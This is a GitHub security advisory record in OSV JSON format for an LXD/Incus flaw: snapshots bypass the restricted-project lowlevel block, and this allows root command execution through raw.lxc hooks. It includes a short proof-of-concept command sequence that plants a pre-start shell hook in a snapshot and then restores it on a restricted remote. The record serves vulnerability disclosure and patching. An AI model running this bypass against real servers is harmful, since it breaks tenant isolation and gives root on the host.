{"id":"GHSA-47w9-6r3f-938g","summary":"LXD has restricted project bypass leading to arbitrary command execution","details":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id \u003e/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#\u003e allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","modified":"2026-11-06T20:00:05.895332107Z","published":"2026-11-06T19:51:26Z","related":["CVE-2026-48751"],"database_specific":{"github_reviewed_at":"2026-11-06T19:51:26Z","nvd_published_at":null,"cwe_ids":["CWE-862"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g"},{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48751"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19"},{"type":"PACKAGE","url":"https://github.com/canonical/lxd"},{"type":"WEB","url":"https://github.com/canonical/lxd/releases/tag/lxd-5.0.7"},{"type":"WEB","url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5"}],"affected":[{"package":{"name":"github.com/canonical/lxd","ecosystem":"Go","purl":"pkg:golang/github.com/canonical/lxd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260630083100-c5184be310b1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-47w9-6r3f-938g/GHSA-47w9-6r3f-938g.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}